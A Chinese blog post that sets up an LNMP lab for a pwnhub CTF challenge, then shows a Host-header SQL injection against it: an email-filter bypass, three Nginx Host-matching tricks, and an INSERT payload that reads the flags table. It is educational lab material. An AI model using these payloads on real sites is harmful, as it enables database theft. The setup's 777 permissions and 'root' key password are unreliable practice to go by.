LNMP环境搭建保姆级

首先你要有一个ubuntu系统的虚拟机这个我就不说啦

第一步:源码安装NGINX

安装前的准备

1:GCC编译器

安装nginx需要先将官网下载的源码进行编译,编译依赖 gcc 环境。安装指令如下:

sudo apt-get install -y gcc

2:PCRE

PCRE库支持正则表达式。如果我们在配置文件nginx.conf使用了正则表达式,那么在编译Nginx时就必须把PCRE库编译进Nginx,因为Nginx的HTTP等模块需要靠它解析正则表达式。如果不需要则不必安装。第一个安装包提供编译版本的库,而第二个提供开发阶段的头文件和编译项目的源代码。安装指令如下:

sudo apt-get install libpcre3 libpcre3-dev

3:zlib库

zlib库用于对HTTP内容做gzip格式压缩,如果我们在nginx.conf配置了gzip.on,并指定对于某些类型(content-type)的HTTP响应使用gzip进行压缩以减少网络传输量,那么在编译时就必须把zlib编译进Nginx。安装指令如下:

sudo apt-get install zlib1g-dev

4:OpenSSL开发库

如果我们的服务器不仅支持HTTP,还需要更安全的SSL协议上传输HTTP,那么久需要OpenSSL。另外,如果需要使用MD5,SHA1等散列函数,也需要安装它。安装指令如下:

sudo apt-get install openssl libssl-dev

然后用weget拉一下nginx压缩包

weget http://nginx.org/download/nginx-1.20.2.tar.gz

解压 tar-zxvf

运行./configure文件

进行编译 make & make install

搞定!!!

nginx修改配置文件

      server {
        listen       80;
        server_name  www.aaa.com;
        root "/usr/local/nginx/www/pwnhub/web";
        index index.html index.php;

        location / {
        try_files $uri $uri/ /index.php;
        }
        location ~ \.php(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info; 
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }
    
    }
    

第二步:装php7.3

下载/更新php源

打开下载网址

扫描二维码关注公众号,回复: 14797758 查看本文章
  https://launchpad.net/~ondrej/+archive/ubuntu/php

先安装一下这个命令 add-apt-repository

apt-get install software-properties-common

添加第三方源:

add-apt-repository ppa:ondrej/php

更新本地源

apt-get update

安装PHP 7.3

添加存储库后,可以使用以下命令安装PHP 7.3:

此命令将安装其他软件包:

  • libapache2-mod-php7.3

  • libaprutil1-dbd-sqlite3

  • php7.3-cli

  • php7.3-common

  • php7.3-json

  • php7.3-opcache

  • php7.3-readline

  • 等等其他……
    就是这样。要检查服务器上是否安装了PHP 7.3,请运行以下命令:

安装PHP 7.3模块

根据你的应用程序,你可能需要其他软件包和模块。可以使用以下命令安装最常用的模块:

就这样。现在,你可以在Ubuntu服务器上开始使用PHP。

安装php-fpm

root@ubuntu-virtual-machine:/usr/local/nginx/sbin# apt install php 7.3-fpm
修改一下www.conf

改为127.0.0.1:9000 改完记得重启服务。

第三步:安装mysql

需要安装mysql-cli 和 mysql-serve

然后必须要安装一下php7.3-mysql

才能行

注意:在这之前用先创建一个security表,然后用pwnhub_6670.sql文件刷一下。

mysql> show tables
    -> ;
+--------------------+
| Tables_in_security |
+--------------------+
| flags              |
| users              |
+--------------------+
2 rows in set (0.00 sec)

mysql> show columns from users
    -> ;
+----------+------------------+------+-----+---------+----------------+
| Field    | Type             | Null | Key | Default | Extra          |
+----------+------------------+------+-----+---------+----------------+
| id       | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| username | varchar(256)     | NO   | UNI | NULL    |                |
| password | varchar(32)      | NO   |     | NULL    |                |
| email    | varchar(256)     | YES  |     | NULL    |                |
+----------+------------------+------+-----+---------+----------------+
4 rows in set (0.01 sec)

mysql> show columns from flags
    -> ;
+-------+------------------+------+-----+---------+----------------+
| Field | Type             | Null | Key | Default | Extra          |
+-------+------------------+------+-----+---------+----------------+
| id    | int(10) unsigned | NO   | PRI | NULL    | auto_increment |
| flag  | varchar(256)     | YES  |     | NULL    |                |
+-------+------------------+------+-----+---------+----------------+
2 rows in set (0.00 sec)

然后在插入一个flag开始你的表演

mysql> insert into falgs (flag) values('mygod,you are a hacker!');
ERROR 1146 (42S02): Table 'security.falgs' doesn't exist
mysql> insert into flags (flag) values('mygod,you are a hacker!');
Query OK, 1 row affected (0.00 sec)

mysql> show tables
    -> ;
+--------------------+
| Tables_in_security |
+--------------------+
| flags              |
| users              |
+--------------------+
2 rows in set (0.00 sec)

mysql> select * from flags;
+----+-------------------------+
| id | flag                    |
+----+-------------------------+
|  2 | mygod,you are a hacker! |
+----+-------------------------+
1 row in set (0.00 sec)

提示:

如果报权限错误,就去/usr/local/nginx/www/pwnhub/protected/tmp 给成 777

如果Fatal error: Class 'MySQLi' not found in /var/www/aaa/nginxhost/protected/lib/core.php on line 280 那你就看一下php-mysql装好没

测试结果

注册页面显示正常

登录页面显示正常

注册账号进行登陆

遇到的问题

  1. 需要用虚拟主机来进行配置nginx .conf (否则php解析会有问题,登录页面解析不出来)

  1. mysql登录不进去 需要安装mysql-server 连接不到数据库 需要安装 php7.3-mysql (根据自己的php版本来进行安装mysqli)

  1. mysql里面没有security表需要自己登录mysql刷一下 配置文件pwnhub_6670.sql是这个文件(评论区会给出来)

后续加的配置HTTPS

1.nginx配置ssl模块

#1.判断是否具有ssl模块 --- 输出含有configure arguments: --with-http_ssl_module
/usr/local/nginx/sbin/nginx -V
#2.移动到nginx源码解压目录
./configure --with-http_ssl_module
#3.编译执行
make
#4.备份原有已安装好的nginx
cp /usr/local/nginx/sbin/nginx /usr/local/nginx/sbin/nginx.bak
#5.然后将刚刚编译好的nginx覆盖掉原有的nginx(这个时候nginx要停止状态)
cp ./objs/nginx /usr/local/nginx/sbin/
#6.测试查看
[root@blackstone nginx-1.20.2]# /usr/local/nginx/sbin/nginx -V
nginx version: nginx/1.20.2
built by gcc 4.8.5 20150623 (Red Hat 4.8.5-44) (GCC)
built with OpenSSL 1.0.2k-fips  26 Jan 2017
TLS SNI support enabled
configure arguments: --with-http_ssl_module

查看

root@ubuntu-virtual-machine:/usr/local/nginx/sbin# ./nginx -V
nginx version: nginx/1.20.2
built by gcc 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04) 
built with OpenSSL 1.1.1  11 Sep 2018
TLS SNI support enabled
configure arguments: --with-http_ssl_module
root@ubuntu-virtual-machine:/usr/local/nginx/sbin# 

2.生成自签名证书

#1.创建证书目录
[root@blackstone nginx]# mkdir certificate
[root@blackstone nginx]# cd certificate/
#2.生成私钥 - 要求你输入这个key文件的密码。给nginx使用。每次reload nginx配置时候都要验证这个PAM密码。
openssl genrsa -des3 -out ssl.key 4096
#3.生成CA证书文件
openssl req -new -key ssl.key -out ssl.csr
#4.利用CA证书签名生成服务器身份证书 - 证书签发有效期365天
openssl x509 -req -days 365 -in ssl.csr -signkey ssl.key -out ssl.crt
#5.检查生成情况 - 此时包含我们自己的私钥,自己的证书.crt文件,以及csrCA证书
[root@blackstone certificate]# ll
total 12
-rw-r--r-- 1 root root 1891 Jan 11 21:28 ssl.crt
-rw-r--r-- 1 root root 1756 Jan 11 21:25 ssl.csr
-rw-r--r-- 1 root root 3311 Jan 11 21:24 ssl.key

生成私钥的时候需要密码这里我给的密码:root

后期可以删掉

3.配置nging.conf

     server {
        listen       443 ssl;
        server_name  www.aaa.com;
        root "/usr/local/nginx/www/pwnhub/web";
        index index.html index.php;

        #生成的CRT证书
        ssl_certificate      /usr/local/nginx/certificate/ssl.crt;
        #私钥
        ssl_certificate_key  /usr/local/nginx/certificate/ssl.key;
        #缓存
        ssl_session_cache    shared:SSL:1m;
        ssl_session_timeout  5m;
        #加密套件
        ssl_ciphers  HIGH:!aNULL:!MD5;
        #加密算法由服务端说了算
        ssl_prefer_server_ciphers  on;




        location / {
        try_files $uri $uri/ /index.php;
        }
        location ~ \.php(.*)$ {
            fastcgi_pass   127.0.0.1:9000;
            fastcgi_index  index.php;
            fastcgi_split_path_info  ^((?U).+\.php)(/?.+)$;
            fastcgi_param  SCRIPT_FILENAME  $document_root$fastcgi_script_name;
            fastcgi_param  PATH_INFO  $fastcgi_path_info;
            fastcgi_param  PATH_TRANSLATED  $document_root$fastcgi_path_info;
            include        fastcgi_params;
        }

    }

基于PHPspeed小型架构的漏洞

网站源代码

我这边给的域名为www.aaa.com

目标网站`www.aaa.com`只有简单的注册、登录功能,有关输入的代码如下:

<?php
escape($_REQUEST);
escape($_POST);
escape($_GET);

function escape(&$arg) {
    if(is_array($arg)) {
        foreach ($arg as &$value) {
            escape($value);
        }
    } else {
        $arg = str_replace(["'", '\\', '(', ')'], ["‘", '\\\\', '(', ')'], $arg);
    }
}

function arg($name, $default = null, $trim = false) {
    if (isset($_REQUEST[$name])) {
        $arg = $_REQUEST[$name];
    } elseif (isset($_SERVER[$name])) {
        $arg = $_SERVER[$name];
    } else {
        $arg = $default;
    }
    if($trim) {
        $arg = trim($arg);
    }
    return $arg;
}

escape是将GPR中的单引号、圆括号转换成中文符号,反斜线进行转义;arg是获取用户输入的`$_REQUEST`或`$_SERVER`。显然,这里`$_SERVER`变量没有经过转义,先记下这个点。

全局没其他值得注意的地方了,所以开始看controller的代码。

<?php
function actionRegister(){
    if ($_POST) {
        $username = arg('username');
        $password = arg('password');

        if (empty($username) || empty($password)) {
            $this->error('Username or password is empty.');
        }

        $email = arg('email');
        if (empty($email)) {
            $email = $username . '@' . arg('HTTP_HOST');
        }

        if (!filter_var($email, FILTER_VALIDATE_EMAIL)) {
            $this->error('Email error.');
        }

        $user = new User();
        $data = $user->query("SELECT * FROM `{$user->table_name}` WHERE `username` = '{$username}'");
        if ($data) {
            $this->error('This username is exists.');
        }

        $ret = $user->create([
            'username' => $username,
            'password' => md5($password),
            'email' => $email
        ]);
        if ($ret) {
            $_SESSION['user_id'] = $user->lastInsertId();
        } else {
            $this->error('Unknown error.');
        }
    }

}

以上是注册功能的代码,比较简单。用户名和密码是必填项,邮箱如果没有填写,则自动设置为”用户名@网站域名“。最后将三者传入create方法,create方法其实就是拼接了一个INSERT语句。

值得注意的是,网站域名是从`arg('HTTP_HOST')`中获取,也就是从`$_REQUEST`或`$_SERVER`中获取。因为`$_SERVER`没有经过转义,我们只需要在HTTP头Host值中引入单引号,即可造成一个SQL注入漏洞。

但email变量经过了`filter_var($email, FILTER_VALIDATE_EMAIL)`的检测,我们首先要绕过之。

注:注意看第13行代码 $email = $username . '@' . arg('HTTP_HOST');这里的.就和python中的+一样都是起拼接作用,然后这个代码的意思就是你传进来的username(就是你注册的用户名)+@+你的host拼接一下,这里直接想到burp suite直接抓然后修改一下username和host

第一步,绕过FILTER_VALIDATE_EMAIL

初步尝试原本是$email = "[email protected]";然后我的想法就是单双引号闭合$email = "xxx@xxx'.com";

<?php
$email = "xxx@xxx'.com";
var_dump(filter_var($email, FILTER_VALIDATE_EMAIL));

直接邮箱不合法

参考资料

RFC 3696规定,邮箱地址分为local part和domain part两部分。local part中包含特殊字符,需要如下处理:

1. 将特殊字符用`\`转义,如`Joe\'[email protected]`

2. 或将local part包裹在双引号中,如`"Joe'Blow"@example.com`

3. local part长度不超过64个字符

虽然PHP没有完全按照RFC 3696进行检测,但支持上述第2种写法。所以,我们可以利用之绕过`FILTER_VALIDATE_EMAIL`的检测。

因为代码中邮箱是用户名、@、Host三者拼接而成,但用户名是经过了转义的,所以单引号只能放在Host中。我们可以传入用户名为`"`,Host为`aaa'"@example.com`,最后拼接出来的邮箱为`"@aaa'"@example.com`。

这个邮箱包含单引号,将闭合SQL语句中原本的单引号,造成SQL注入漏洞。

注:这里直接使用第二种方法,用双引号将单引号闭合,使得email合法

然后直接go他给我返回的是默认页面,因为你的host修改啦他找不到啦,然后只能去默认文件啦

第二步, 绕过Nginx Host限制(依据nginx与php处理host不同方式绕过)

第一种方法

Nginx在处理Host的时候,会将Host用冒号分割成hostname和port,port部分被丢弃。所以,我们可以设置Host的值为www.aaa.com:aaa'"@example.com,这样就能访问到目标Server块:

如上图,成功触发SQL报错。

第二种方法

当我们传入两个Host头的时候,Nginx将以第一个为准,而PHP-FPM将以第二个为准。

也就是说,如果我传入:

```
Host: 2023.mhz.pw
Host: xxx'"@example.com
```

Nginx将认为Host为`2023.mhz.pw`,并交给目标Server块处理;但PHP中使用`$_SERVER['HTTP_HOST']`取到的值却是`xxx'"@example.com`。这样也可以绕过:

但是我并没成功我想应该是版本的问题

第三种方法

其实原理就是,我们在发送https数据包的时候,SNI中指定的域名是example2.com,而无需和HTTP报文中的Host头保持一致,Nginx会选择SNI中的域名作为Server Name。

看一下自己的nginx有没有SNI


root@ubuntu-virtual-machine:~# nginx -V
nginx version: nginx/1.20.2
built by gcc 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04) 
built with OpenSSL 1.1.1  11 Sep 2018
TLS SNI support enabled   #这个就代表了SNI已经开启
configure arguments: --with-http_ssl_module
root@ubuntu-virtual-machine:~# 

Mysql 5.7 INSERT注入方法

既然已经触发了SQL报错,说明SQL注入近在眼前。通过阅读源码中包含的SQL结构,我们知道flag在flags表中,所以不废话,直接注入读取该表。

最终HOST字段

Host: www.aaa.com:'),('a',md5(123),(select(flag)from(flags)))#"@aaa.com

内部执行的sql语句,相当于插入了两组数据,而第二组数据的email字段被拿来存放查询flag的结果。

insert into users (username,password,email) values ("studen,md5(12345),"[email protected]),('a',md5(123),(select(flag)from(flags)))

验证

mysql> select * from users;
+----+------------+----------------------------------+-------------------------+
| id | username   | password                         | email                   |
+----+------------+----------------------------------+-------------------------+
| 15 | 1201070404 | e748c66680df18219d4f0a9124afad9b | [email protected]        |
| 16 | oupeng     | e10adc3949ba59abbe56e057f20f883e | [email protected]      |
| 22 | "a         | e10adc3949ba59abbe56e057f20f883e | "a@                     |
| 23 | a          | 202cb962ac59075b964b07152d234b70 | mygod,you are a hacker! |
+----+------------+----------------------------------+-------------------------+
4 rows in set (0.00 sec)

mysql> 

猜你喜欢

转载自blog.csdn.net/Jack_chao_/article/details/129528587